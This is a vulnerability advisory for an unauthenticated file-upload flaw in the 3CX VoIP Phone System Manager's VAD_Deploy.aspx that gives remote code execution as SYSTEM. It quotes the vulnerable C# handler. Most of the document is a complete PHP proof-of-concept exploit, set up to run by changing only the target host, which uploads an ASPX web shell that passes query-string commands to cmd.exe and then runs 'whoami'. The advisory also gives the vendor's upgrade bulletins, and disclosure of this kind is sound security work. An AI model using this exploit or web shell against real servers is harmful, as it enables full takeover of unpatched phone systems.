SSD Advisory – 3CX VoIP Phone System Manager Server Remote Code Execution Vulnerability (with SYSTEM privileges)

Vulnerability Description
The 3CX product installs a Windows service called “Abyss Web Server” (abyssws.exe) which listens on default public ports 5000 (tcp/http) and 5001 (tcp/https) for incoming requests to the web panel and runs with NT AUTHORITY\SYSTEM privileges.
Without requiring authentication/authorization it is possible to upload arbitrary scripts into an accessible web path through the VAD_Deploy.aspx script.
Given this, it is possible to run arbitrary code/commands with the privileges of the target server.

Vulnerable Code

...
<%@ Page Language="C#" EnableSessionState="false" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.Security" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Web.UI.WebControls.WebParts" %>
<%@ Import Namespace="System.Web.UI.HtmlControls" %>
a
<script runat="server">
  private void validateProjectName(string projectName)
  {
    if (projectName.Contains("/") || projectName.Contains(@"\") || projectName.Split('_').Length < 2)
      throw new ArgumentException("projectname is invalid");
  }
  private void Page_Load(object sender, EventArgs e)
  {
    Response.Cache.SetNoStore();
    try
    {
      string projectName = Request.QueryString["projectname"]; <---------------receives a folder name here
      validateProjectName(projectName); <----------------------- cannot contain directory traversal sequences and must contain the "_" token
      if (!Directory.Exists(Server.MapPath(projectName)))
        Directory.CreateDirectory(Server.MapPath(projectName)); <---------------- a new folder is created
      string[] fileKeys = Request.Files.AllKeys;
      foreach (string key in fileKeys)
      {
        HttpPostedFile file = Request.Files[key];
        string fileName = Server.MapPath(projectName + @"\" + file.FileName); <----------- this path is web accessible
        if (fileName.EndsWith(".vxml"))
        {
          using (StreamReader reader = new StreamReader(file.InputStream, Encoding.UTF8))
          {
            string fileContent = reader.ReadToEnd();
            fileContent = fileContent.Replace("audio src=\"", "audio src=\"file:///" + Server.MapPath(projectName + @"\"))
                                     .Replace("<var name=\"application.project$_WorkingDirectory$\" expr=\"''\" />", "<var name=\"application.project$_WorkingDirectory$\" expr=\"'" + Server.MapPath(projectName).Replace("\\", "\\\\") + "'\" />");
            File.WriteAllText(fileName, fileContent, Encoding.UTF8);
          }
        }
        else
          file.SaveAs(fileName); <----------------------- boom
      }
      Response.Write("OK");
    }
    catch (Exception exc)
    {
      Response.Write("ERROR: " + exc.Message);
    }
  }
</script>

Proof of Concept

<?php
/*
3CX VoIP Phone System Manager Server 12.5 VAD_Deploy.aspx Remote Code Execution PoC (SYSTEM privileges)
Example output:
C:\php>php 9sg_3cx_voip.php
[*] Successfully uploaded.
[*] Compile path -> (S(k53crmcychcdhet5bkltholi))
HTTP/1.1 200 OK
X-AspNet-Version: 4.0.30319
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 21
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Connection: Close
Date: Sun, 19 Apr 2015 00:23:22 GMT
Server: Abyss/2.8.0.5-X2/B2-Win32 AbyssLib/2.8.0.1
nt authority\system
C:\php>
*/
error_reporting(7);
set_time_limit(0);
$host="192.168.0.1"; //change here
$port=5000;
$cmd = "whoami";
$data="-----------------------------3020248567291
Content-Disposition: form-data; name=\"msg\"; filename=\"x.aspx\";
Content-Type: application/octet-stream
whatever
<script language=\"cs\" runat=\"server\">
    void Page_Load(object sender, EventArgs e)
    {
        System.Diagnostics.Process si = new System.Diagnostics.Process();
        si.StartInfo.WorkingDirectory = @\"c:\";
        si.StartInfo.UseShellExecute = false;
        si.StartInfo.FileName = \"cmd.exe\";
        si.StartInfo.Arguments = \"/c \" + Request.QueryString[\"cmd\"];
        si.StartInfo.CreateNoWindow = true;
        si.StartInfo.RedirectStandardInput = true;
        si.StartInfo.RedirectStandardOutput = true;
        si.StartInfo.RedirectStandardError = true;
        si.Start();
        string output = si.StandardOutput.ReadToEnd();
        si.Close();
        Response.Write(output);
    }
</script>
-----------------------------3020248567291--
";
     $pk="POST /ivr/VAD_Deploy.aspx?projectname=suntzu_suntzu HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        "User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n".
        "Accept-Encoding: text/plain\r\n".
        "Cookie: \r\n".
        "Content-Type: multipart/form-data; boundary=---------------------------3020248567291\r\n".
        "Content-Length: ".strlen($data)."\r\n".
        "Connection: Close\r\n\r\n".
        $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
$tmp=explode("\r\n\r\n",$out);
if (eregi("OK",$tmp[1])){
   echo "[*] Successfully uploaded.\n";
} else {
  if (strpos($out,"Object moved to")){
    $tmp=explode("Object moved to <a href=\"/ivr/",$out);
    $tmp=explode("/suntzu_suntzu",$tmp[1]);
    $compile_path = $tmp[0];
    echo "[*] Compile path -> ".$compile_path."\n";
    $pk="POST /ivr/".$compile_path."/VAD_Deploy.aspx?projectname=suntzu_suntzu HTTP/1.1\r\n".
    "Host: ".$host."\r\n".
    "User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n".
    "Accept-Encoding: text/plain\r\n".
    "Cookie: \r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------3020248567291\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
    $fp = fsockopen($host,$port,$e,$err,5);
    if (!$fp) {die("[!] Not connected");}
    fputs($fp,$pk);
    $out="";
    while (!feof($fp)){
     $out.=fread($fp,1);
    }
    fclose($fp);
  }
  $tmp=explode("\r\n\r\n",$out);
  if (eregi("OK",$tmp[1])){
   echo "[*] Successfully uploaded.\n";
  } else {
   die("Unknown error.");
  }
}
sleep(1);
    $pk="GET /ivr/suntzu_suntzu/x.aspx?cmd=".urlencode($cmd)." HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        "User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n".
        "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
if (strpos($out,"Object moved to")){
$tmp=explode("Object moved to <a href=\"/ivr/",$out);
$tmp=explode("/suntzu_suntzu",$tmp[1]);
$compile_path = $tmp[0];
echo "[*] Compile path -> ".$compile_path."\n";
$pk="GET /ivr/".$compile_path."/suntzu_suntzu/x.aspx?cmd=".urlencode($cmd)." HTTP/1.1\r\n".
        "Host: ".$host."\r\n".
        "User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:37.0) Gecko/20100101 Firefox/37.0\r\n".
        "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("[!] Not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out."\n";
}
else{
echo $out."\n";
}
?>

Vendor Response
The vendor has issued two bulletins urging his customers to upgrade to the latest version which resolved the above-mentioned vulnerabilities: http://www.3cx.com/blog/news/security-bulletin/ and http://www.3cx.com/blog/releases/upgrade-v10-v11/.